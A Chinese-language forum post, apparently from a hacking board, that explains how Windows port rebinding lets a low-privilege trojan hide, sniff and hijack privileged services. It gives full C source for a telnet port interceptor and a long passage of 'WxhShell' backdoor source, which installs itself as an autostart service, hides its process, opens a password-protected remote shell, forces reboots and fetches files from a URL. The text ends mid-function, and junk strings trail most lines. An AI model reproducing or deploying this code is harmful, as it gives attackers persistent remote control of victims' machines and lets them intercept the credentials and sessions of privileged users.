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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o%iTYR :x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /cn_|DwN5  
R& A.F+Zgt  
  saddr.sin_family = AF_INET; #Ba'k6b  
3@J wL{C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3WHH3co[  
 w4mL/j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 04TV. /uA  
9|,AhyhO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (@9-"W  
`x3c},'@k  
  这意味着什么?意味着可以进行如下的攻击: R!ij CF\  
|V5H(2/nk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o=}?aC3I  
ho. a93  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4{=Em5`HbO  
{s]eXc]K}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gB#t"s)  
:KwYuwYS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i|e-N?l  
^q$sCt}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L\5n!(,0  
t!LvV.g+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bdi~ B")  
:>z0m 0nI\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c2QC`h(Wb  
h";sQ'us  
  #include 5Z'pMkn3  
  #include (nm&\b~j  
  #include H^~!t{\  
  #include    z\, w$Ef+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (J;<&v}Gad  
  int main() L`BLkDm  
  { `B~%TEvMh  
  WORD wVersionRequested; P=.W.oS  
  DWORD ret; Pt$7U[N  
  WSADATA wsaData; hO8B]4=&*  
  BOOL val; ESAh(A)8  
  SOCKADDR_IN saddr; n$>H}#q  
  SOCKADDR_IN scaddr; O\?ei+(H7  
  int err; SrxX-Hir  
  SOCKET s; 9S}PCAA;  
  SOCKET sc; _kfApO )O  
  int caddsize; q%l<Hw6{z  
  HANDLE mt; b1+Nm  
  DWORD tid;   />$kDe  
  wVersionRequested = MAKEWORD( 2, 2 ); {v(3[ 7  
  err = WSAStartup( wVersionRequested, &wsaData ); % rkUy?=vu  
  if ( err != 0 ) { ouuj d~b+  
  printf("error!WSAStartup failed!\n"); H3JWf MlW  
  return -1; RAvV[QkT  
  } e2>gQ p/  
  saddr.sin_family = AF_INET; 6xwC1V?:0t  
   (Xx @_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NW$Z}?I  
&Ef'5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U<t Qj`  
  saddr.sin_port = htons(23); 0>vm&W<?)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ke0Vy(3t{h  
  { zK}.Bhj#  
  printf("error!socket failed!\n"); JP#m} W  
  return -1; -<.>jX  
  } x~ I cSt  
  val = TRUE; ?AR6+`0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4&tY5m>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) % tpjy,  
  {  (1ebE  
  printf("error!setsockopt failed!\n"); =6>mlI>i  
  return -1; )s M}BY  
  } xf|=n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3oj30L.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K/altyj`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H4UnF5G  
s`TfNwDvU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _:T\[sz5  
  { 18~j>fN  
  ret=GetLastError(); w1.~N`g$  
  printf("error!bind failed!\n"); |@ia(U~  
  return -1; 'Z';$N ]  
  } o9JJ_-O"  
  listen(s,2); }a8N!g  
  while(1) c#_%|gg  
  { xi^_C!*J  
  caddsize = sizeof(scaddr); ]:F]VRPT  
  //接受连接请求 w$1.h'2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8YCtU9D  
  if(sc!=INVALID_SOCKET) 7:]I@Gc'  
  { 7#Mi`W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]itvu:pl%  
  if(mt==NULL) UJO+7h'  
  { <w[)T`4N  
  printf("Thread Creat Failed!\n"); "w N DjWv  
  break; !r$/-8b  
  } y2)~ljR  
  } /@q_`tU  
  CloseHandle(mt); 9+pnpaZB0  
  } B<i1UJ5  
  closesocket(s); =r`>tWs  
  WSACleanup(); ? ;\YiOTda  
  return 0; z`{x1*w_  
  }   =*t)@bn  
  DWORD WINAPI ClientThread(LPVOID lpParam) gq/q]Fm\  
  { iYFM@ta  
  SOCKET ss = (SOCKET)lpParam; VPK)HzPG,  
  SOCKET sc; ee6Zm+.B  
  unsigned char buf[4096]; vAX %i(4  
  SOCKADDR_IN saddr; @A g=2\9  
  long num; /|Zk$q.\  
  DWORD val; R6!t2gdKe@  
  DWORD ret; &}6=V+J;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VsFRG;:\U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t~e.LxN  
  saddr.sin_family = AF_INET; [(]uin+9Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2: fSn&*/>  
  saddr.sin_port = htons(23); ;R}:2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IU&n!5d$)|  
  { (.Sj"6+  
  printf("error!socket failed!\n"); .7{,u1N'  
  return -1; k: D<Q  
  } l{6fR(d ?  
  val = 100; =ayl~"bW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e_7a9:2e  
  { Ymx/N+Jl  
  ret = GetLastError(); *&!&Y*Jzg  
  return -1; T2GJoJ!  
  }  T=9+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iWO16=  
  { k]w;(<  
  ret = GetLastError(); 8H;yrNL  
  return -1; rqSeh/<iD  
  } E<Efxb' p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _A1r6  
  { 1#6c sZW5  
  printf("error!socket connect failed!\n"); :D;BA  
  closesocket(sc); eWE7>kwh  
  closesocket(ss); 624l5}@:  
  return -1; 'jqkDPn  
  } 6ID@0  
  while(1) l.El3+  
  { (6!W8x7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !np-Jmi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +uLl3(ml  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p{NVJ^! +  
  num = recv(ss,buf,4096,0); VM88#^  
  if(num>0) -6@#Nq_iWU  
  send(sc,buf,num,0); \'x. DVp  
  else if(num==0) d=yuuS /  
  break; 22(7rUkI  
  num = recv(sc,buf,4096,0); s +"?j  
  if(num>0) OjFB_ N  
  send(ss,buf,num,0); ch!/k  
  else if(num==0) "]B:QeMeF!  
  break; f }P6P>0T  
  } Onz@A"  
  closesocket(ss); 67?O}~jbG  
  closesocket(sc); \$$DM"+:;H  
  return 0 ; ) 7w%\i{M  
  } S8 .1%sw  
yp9vgUs  
=~15q=XY0  
========================================================== '9.L5*wh]  
!W^P|:Qt  
下边附上一个代码,,WXhSHELL RR |Z,  
B'SLyf  
========================================================== [`2V!rU  
hR(\%p  
#include "stdafx.h" =*>ri  
) G a5c  
#include <stdio.h> gw O]U=Y  
#include <string.h> +~Wg@   
#include <windows.h> m -]E|  
#include <winsock2.h> _<}oBh  
#include <winsvc.h>  h&}z@  
#include <urlmon.h> {_C2c{  
T uG%oV}   
#pragma comment (lib, "Ws2_32.lib") > &tmdE  
#pragma comment (lib, "urlmon.lib") (.^KuXd  
\I"n~h^_  
#define MAX_USER   100 // 最大客户端连接数 <5BNcl\ZL  
#define BUF_SOCK   200 // sock buffer > >%m,F[  
#define KEY_BUFF   255 // 输入 buffer RA^6c![  
:< X&y  
#define REBOOT     0   // 重启 '3R o`p{  
#define SHUTDOWN   1   // 关机 S+2we  
Cs9o_Z~  
#define DEF_PORT   5000 // 监听端口 Bc&Y[u-n  
x`n7D  
#define REG_LEN     16   // 注册表键长度 >= O5=\`  
#define SVC_LEN     80   // NT服务名长度 Op<,e{[]  
M$,4B  
// 从dll定义API AO[/-Uij  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =/kwUjC?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (_IPz)F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z@(m.&ZRx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ((Uw[8#2 `  
%^pm~ck!  
// wxhshell配置信息  |pgrR7G'  
struct WSCFG { GBSuTu8  
  int ws_port;         // 监听端口 tqk^)c4FF(  
  char ws_passstr[REG_LEN]; // 口令 *E.uqu>I  
  int ws_autoins;       // 安装标记, 1=yes 0=no tw k  
  char ws_regname[REG_LEN]; // 注册表键名 }-/oL+j  
  char ws_svcname[REG_LEN]; // 服务名 0(qtn9;=2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0fE?(0pBj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yd|ao\'=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yi.GD~69  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wNvq['P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tY@+d*u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $&Lw 2 c0  
i4Da'Uk  
}; Fa0Fl}L  
uxx(WS  
// default Wxhshell configuration !:2_y'hA  
struct WSCFG wscfg={DEF_PORT, s+0n0C  
    "xuhuanlingzhe", T|k_$LH  
    1, Kt3T~k  
    "Wxhshell", {Ri6975  
    "Wxhshell", {c}n."`  
            "WxhShell Service", H"NBjVRU%  
    "Wrsky Windows CmdShell Service", xcE2hK/+  
    "Please Input Your Password: ", M.qE$  
  1, ?+_Y!*J2b  
  "http://www.wrsky.com/wxhshell.exe", WU\Bs2  
  "Wxhshell.exe" =I8^E\O("  
    }; _J&IL!S2  
p54 e'Zb  
// 消息定义模块 Lo*vt42{4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &iO53I^r/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #sm@|'Q%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |BEoF[1  
char *msg_ws_ext="\n\rExit."; ]kdU]}z  
char *msg_ws_end="\n\rQuit."; HuLvMYF  
char *msg_ws_boot="\n\rReboot..."; ak_n  
char *msg_ws_poff="\n\rShutdown..."; R!>l7p/|H)  
char *msg_ws_down="\n\rSave to "; }Jo}K) >!  
fA)4'7UT  
char *msg_ws_err="\n\rErr!"; K?@x'q1  
char *msg_ws_ok="\n\rOK!"; O^Y@&S RrQ  
=xjt PmZ5X  
char ExeFile[MAX_PATH]; Esdv+f}4;  
int nUser = 0; _a\$uVZ  
HANDLE handles[MAX_USER]; * `3+x  
int OsIsNt; Owz>g4l r  
|33_="  
SERVICE_STATUS       serviceStatus; T_j0*A $  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B-p ].  
@yNCWa~N  
// 函数声明 }6To(*  
int Install(void); ;>CM1  
int Uninstall(void); II]-mb  
int DownloadFile(char *sURL, SOCKET wsh); RveEA/&&  
int Boot(int flag); mXT{c=N)w  
void HideProc(void); L"L a|  
int GetOsVer(void); efK WR  
int Wxhshell(SOCKET wsl); C]a iu  
void TalkWithClient(void *cs); NQx>u  
int CmdShell(SOCKET sock); eIcIl2  
int StartFromService(void); @NYlVk2  
int StartWxhshell(LPSTR lpCmdLine); .h-k*F0Ga)  
(V>/[Ev  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x-T7 tr&(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nNhb,J  
1`2lq~=GV  
// 数据结构和表定义 G&q@B`I  
SERVICE_TABLE_ENTRY DispatchTable[] = :gM_v?sy  
{ .Fx-$Yqy  
{wscfg.ws_svcname, NTServiceMain}, PTpGZ2FZ  
{NULL, NULL} PNpH)'C|  
}; &UQP9wS4v  
H<Zs2DP`  
// 自我安装 N&G; `  
int Install(void) GrA}T`]  
{ #]2,1dJ  
  char svExeFile[MAX_PATH]; RY}:&vWDk  
  HKEY key; .*Axr\x3  
  strcpy(svExeFile,ExeFile); wKE}BO >  
|!cM_&  
// 如果是win9x系统,修改注册表设为自启动 eC='[W<a.  
if(!OsIsNt) { $-uMWJ)l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &4m;9<8\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MtG~ O;?8  
  RegCloseKey(key); rT'<6]`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DfZ)gqp/Av  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \|7Y"WEQ  
  RegCloseKey(key); 3uuB/8  
  return 0; Y'?{yx{  
    } K7},X01^  
  } ub-vtRpm  
} `G2!{3UD  
else { =c#;c+a  
)2?A|f8  
// 如果是NT以上系统,安装为系统服务 vPsf{[Kr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "b0!h6$!H  
if (schSCManager!=0) g7r0U6Y  
{ b`^mpB*6R  
  SC_HANDLE schService = CreateService |DUOyQ  
  ( Es&'c1$^s  
  schSCManager, $yZ(ws  
  wscfg.ws_svcname, 9R N ge;*  
  wscfg.ws_svcdisp, M5{vYk>,1Q  
  SERVICE_ALL_ACCESS, R 5Cy%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 71G00@&w9D  
  SERVICE_AUTO_START, +~?K@n  
  SERVICE_ERROR_NORMAL, -O6\!Wo=-  
  svExeFile, aFDCVm%U|  
  NULL, h5ZxxtGU  
  NULL, ^ oh%Ns  
  NULL, u4~( 0  
  NULL, nE"0?VNW$  
  NULL M7 gM#bv>L  
  ); wb6$R};?  
  if (schService!=0) +zzS  
  { 8_uh2`+Bvb  
  CloseServiceHandle(schService); [KsVI.gn  
  CloseServiceHandle(schSCManager); J:2Su1"ODh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nEh^{6  
  strcat(svExeFile,wscfg.ws_svcname); hJGWa%`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Iq(;?_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  o[>p  
  RegCloseKey(key); "yPKdwP  
  return 0; du^r EMb%  
    } 0zqTX< A  
  } Cz#3W8jV  
  CloseServiceHandle(schSCManager); B=hJ*;:p  
} !gG\jC~n  
} G2hBJTW  
5U.,iQ(d  
return 1; ) q'~<QxI\  
} }9>X M  
&>z}u&oF  
// 自我卸载 Bk8 '*O/)  
int Uninstall(void) 6WEu(}=  
{ C lzz!v  
  HKEY key; AK5$>Pkvk  
m NApFwZ  
if(!OsIsNt) { >Av%[G5=h#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tp%4{U/0`  
  RegDeleteValue(key,wscfg.ws_regname); .E0*lem'hE  
  RegCloseKey(key); ^g*/p[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <=&7*8u0+  
  RegDeleteValue(key,wscfg.ws_regname); G+l9QaFv  
  RegCloseKey(key); -I{J]L$S #  
  return 0; U4,hEnJBT  
  } nuX W/7M  
} -~imxPmZ  
} Y^CbpG&-vC  
else { XrQS?D `  
:Qklbd[9qF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ( ?pn2- Ip  
if (schSCManager!=0) 6882:,q  
{ ! jb{q bq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); von~-51;  
  if (schService!=0) 0 ;ov^]  
  { m&Lc."  
  if(DeleteService(schService)!=0) {  kn|z  
  CloseServiceHandle(schService); rFR2c?j8  
  CloseServiceHandle(schSCManager); M)!:o/!cS  
  return 0; N3g?gb"Ex)  
  } QTjOLK$e$  
  CloseServiceHandle(schService); DwC8?s*2H  
  } Eb=;D1)y]  
  CloseServiceHandle(schSCManager);  \ l8$1p  
} d<l-Ldle  
} 9wC:8@`6E  
O5p]E7/e  
return 1; 2F#R;B#2  
} 7c Gq.U  
&t w   
// 从指定url下载文件 =rDIU&0Y  
int DownloadFile(char *sURL, SOCKET wsh) @OPyT  
{ =.Q|gZ   
  HRESULT hr; ;j/-ndd&&  
char seps[]= "/"; jZ>'q/  
char *token; 2_ HPsEx  
char *file; ZW|VAn'>  
char myURL[MAX_PATH]; ^#L?HIM  
char myFILE[MAX_PATH]; a4M`Bk;mb  
R!.HS0i.  
strcpy(myURL,sURL); c~UYs\  
  token=strtok(myURL,seps); _;+N=/l0  
  while(token!=NULL) U-EX)S^T[{  
  { 0IEFCDeCO  
    file=token; ^R4eW|H  
  token=strtok(NULL,seps); k6 f;A  
  } |79!exVMBp  
nNff~u)I  
GetCurrentDirectory(MAX_PATH,myFILE); `N"fsEma  
strcat(myFILE, "\\"); lYu1m  
strcat(myFILE, file); ;DKwv}  
  send(wsh,myFILE,strlen(myFILE),0); !&Q3>8l  
send(wsh,"...",3,0); $zBG19 [%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \HOOWaapN  
  if(hr==S_OK) S:"t]gbF =  
return 0; %.R_[.W  
else ngN_,x 7yc  
return 1; ZR'q.y[k)  
;pNHT*>u,  
} $|YIr7?R  
c#e_Fs  
// 系统电源模块 8EPV\M1%  
int Boot(int flag) ft[g1  
{ ^eEj 5Rh  
  HANDLE hToken; B"I> mw  
  TOKEN_PRIVILEGES tkp; :*!u\lV\  
Y2Y2>^  
  if(OsIsNt) { E#FyL>:.h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?s5zTT0U>$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y6o^ Knl  
    tkp.PrivilegeCount = 1; l%A~3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }x1mpPND  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "/?*F\5  
if(flag==REBOOT) { gH0B[w ]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %6"b< MAO  
  return 0; 1a90S*M  
} R6Cm:4m}I  
else { Tf"DpA!_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >M^ 1m(  
  return 0; GfU+'k;9  
} G1~|$X@@  
  } k[ Iwxl;/  
  else { 8Db~OYVJG  
if(flag==REBOOT) { bhSpSul  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z[S,hD\w  
  return 0; \wNn c"  
} t{>66jm\R  
else { c+G: bb%p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |b/J$.R  
  return 0; IR%a+;Xs  
} 9kP!O_  
} v mOXB#7W  
9,'5~+7  
return 1; 8'B\%.+"8e  
} \sC0om,  
(`18W1f5W  
// win9x进程隐藏模块 c`X'Q)c&K  
void HideProc(void) $YSD%/c  
{ fwAN9zs  
4ij`   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A0rdQmrOL  
  if ( hKernel != NULL ) Ytx+7OLe  
  { VJCh5t*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M Zw%s(lv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G"TPu _g  
    FreeLibrary(hKernel); _u;^w}0  
  } #fGb M!3p  
DcbL$9UI  
return; Bw*z4qb{yH  
} _T5~B"*  
oJ8_hk<Va8  
// 获取操作系统版本 2,&lGyV#  
int GetOsVer(void) cJ8F#t  
{ &F'v_9  
  OSVERSIONINFO winfo; fsjA7)/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d=qpTb;(  
  GetVersionEx(&winfo); yK?~X V:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oAyk  
  return 1; Op)0D:BmR  
  else u."fJ2}l0X  
  return 0; Q '+N72=  
} [l#WS  
B@zJ\Ir[  
// 客户端句柄模块 R[&lk~a{=  
int Wxhshell(SOCKET wsl) 4!k={Pd  
{ @?B=8VHR  
  SOCKET wsh; EkSTN  
  struct sockaddr_in client; Lf0Hz")  
  DWORD myID; y-n\;d>[(  
}aNiO85  
  while(nUser<MAX_USER) }7=a,1T  
{ DhZtiqL#_  
  int nSize=sizeof(client); j|`{ 1`'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4nl>&AV  
  if(wsh==INVALID_SOCKET) return 1; z}bnw2d]  
f6L_u k`{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]Hd 0 Y%  
if(handles[nUser]==0) INbjk;k  
  closesocket(wsh); m]-8?B1`Y  
else Y6L+3*Qt  
  nUser++; lIFt/  
  } ^ Nsl5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gv[7h'}<  
l(]\[}.5  
  return 0; "j a0,%3  
} ZHC sv]l  
[QZ~~(R  
// 关闭 socket zt,-O7I'1  
void CloseIt(SOCKET wsh) n~&R_"mv(  
{ 9uS7G*  
closesocket(wsh);  +rT(  
nUser--; }qD.Ek  
ExitThread(0); _yWH\5@  
} _).'SU)>  
W;N/Y3Lb  
// 客户端请求句柄 Q?a"uei[  
void TalkWithClient(void *cs) 3,vH:L4  
{ :):Y6)giBD  
'o7PIhD"  
  SOCKET wsh=(SOCKET)cs; phc1AN=[E  
  char pwd[SVC_LEN]; f0D Ch]  
  char cmd[KEY_BUFF]; $k`8Zx w  
char chr[1]; @^` <iTK&p  
int i,j; /M3D[aR<d  
7@lXN8_f  
  while (nUser < MAX_USER) { j&Hn`G  
*(vq-IE\$  
if(wscfg.ws_passstr) { p_z"Uwp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sRZ:9de+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zDl, bLiJ  
  //ZeroMemory(pwd,KEY_BUFF); O h" ^  
      i=0; i9xv`Ev=R  
  while(i<SVC_LEN) { CD&m4^X5D  
AltE~D/4  
  // 设置超时 +uLo~GdbE  
  fd_set FdRead; 87^ 4",  
  struct timeval TimeOut; Agi1r]W  
  FD_ZERO(&FdRead); *cf"l  
  FD_SET(wsh,&FdRead); "T&uS1+=c  
  TimeOut.tv_sec=8; uWWv`bI>x  
  TimeOut.tv_usec=0; Un/fP1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %b{!9-n}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^ Wl/  
*.*:(7`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aqM_t  
  pwd=chr[0]; !n{c#HfG  
  if(chr[0]==0xd || chr[0]==0xa) { UeICn@)\y  
  pwd=0; $1?X%8V  
  break; ~d8>#v=Q`  
  } JG<3,>@%  
  i++; /J+)P<_A  
    } @}?D<O8#"#  
=N{eiJ.(p  
  // 如果是非法用户,关闭 socket &tgvE6/V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2:N_c\Vi  
} 6g"<i}_|  
qE{cCS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jkP70Is  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KNg5Ptk  
Q'a N|^w"f  
while(1) { 1ZL_;k  
fv_wK_. %:  
  ZeroMemory(cmd,KEY_BUFF); GiZ'IDV  
!p&'so^-W  
      // 自动支持客户端 telnet标准   SNU bY6  
  j=0; AY;+Ws  
  while(j<KEY_BUFF) { v 2GhR*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O<h#|g1  
  cmd[j]=chr[0]; (7b_g6>:  
  if(chr[0]==0xa || chr[0]==0xd) { Zd(d]M_x  
  cmd[j]=0; ^d9raYE`'  
  break; gkz#kiGF  
  } LgNNtZ&F  
  j++; 4:@|q:DR  
    } "r V4[MVxt  
0w['jh|,  
  // 下载文件 D%idlL2%J  
  if(strstr(cmd,"http://")) { >>bYg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _cw ^5  
  if(DownloadFile(cmd,wsh)) kVrT?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mdrv/x{  
  else M=WE^v!b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DjIswI1I  
  } X{xJ*T y'  
  else { ~|9LWp_  
'c[LTpn4=  
    switch(cmd[0]) { ;0!Wd  
  9,5II0N L  
  // 帮助 62x< rph  
  case '?': { vEe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ++!E9GU{  
    break; 'TrrOq4  
  } G r|@CZq  
  // 安装 YB{E= \~  
  case 'i': { mY 8=qkZE  
    if(Install()) >ij4z N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /V<`L  
    else tMZ(s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $l;tP  
    break;  DiQkT R  
    }  GQ0(&I  
  // 卸载 W79A4l<  
  case 'r': { I*t)x,~3  
    if(Uninstall()) _*$B|%k   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ba9<(0`  
    else 1ysLZ;K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gqD^Bs'VF  
    break; JGDUCb~  
    } m90R8  V  
  // 显示 wxhshell 所在路径 .XKvk(9  
  case 'p': { V&oT':%q  
    char svExeFile[MAX_PATH]; TcLaWf!c5  
    strcpy(svExeFile,"\n\r"); H8BO*8}  
      strcat(svExeFile,ExeFile); e6i./bf3  
        send(wsh,svExeFile,strlen(svExeFile),0); y}-S~Ov>I  
    break; .(1j!B4^  
    } 0^&R7Rv c  
  // 重启 xnQGCw?S&}  
  case 'b': { @ KPv&UB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e~s7ggg2k  
    if(Boot(REBOOT)) '+I 2$xE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K}=8:BaUL  
    else { UVCMB_T  
    closesocket(wsh); 01c/;B  
    ExitThread(0); i5<Va@ru!s  
    } <SM&VOiaOz  
    break; <oaBh)=7  
    } } o"_#\6  
  // 关机  .02(O  
  case 'd': { =@KYA(D  
